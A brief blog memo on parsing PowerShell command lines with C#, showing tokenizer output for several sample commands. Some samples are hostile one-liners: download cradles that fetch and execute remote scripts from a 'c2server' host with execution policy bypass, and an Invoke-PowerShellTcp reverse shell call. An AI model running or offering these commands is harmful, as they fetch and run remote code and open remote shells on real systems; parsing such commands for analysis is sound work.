PowerShell cmdline parsing/tokenization

This is just a quick blog post, mostly as a memo-to-self, to not forget how to parse PowerShell commandlines with C#. Of course as usual, I found a ready made solution when I already had a dirty working version:

The fun part is that, like @FuzzySec often says, it runs on OSX as well :) Some example output:

[Command] powershell
[CommandArgument] iex
[GroupStart] (
[Command] New-Object
[CommandArgument] Net.WebClient
[GroupEnd] )
[Operator] .
[Member] DownloadString
[GroupStart] (
[String] 'http://<yourwebserver>/Invoke-PowerShellTcp.ps1'
[GroupEnd] )
[StatementSeparator] ;
[Command] Invoke-PowerShellTcp
[CommandParameter] -Reverse
[CommandParameter] -IPAddress
[CommandArgument] [IP]
[CommandParameter] -Port
[CommandArgument] [PortNo.]
=============================
[Command] powershell
[CommandParameter] -nop
[CommandParameter] -exec
[CommandArgument] bypass
[CommandParameter] -c
[String] "IEX (New-Object Net.WebClient).DownloadString('http://www.c2server.co.uk/script.ps1');"
=============================
[Command] powershell
[CommandParameter] -exec
[CommandArgument] bypass
[CommandParameter] -c
[String] "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://c2server.co.uk/script.ps1')|iex"
=============================
[Command] powershell.exe
[CommandParameter] -Verb
[CommandArgument] runAs
[CommandParameter] -ArgumentList
[String] "-File C:\Scripts\MyScript.ps1"
=============================
[Command] powershell.exe
[CommandParameter] -File
[String] "C:\Temp\YourScript.ps1"
[CommandParameter] -Noexit
=============================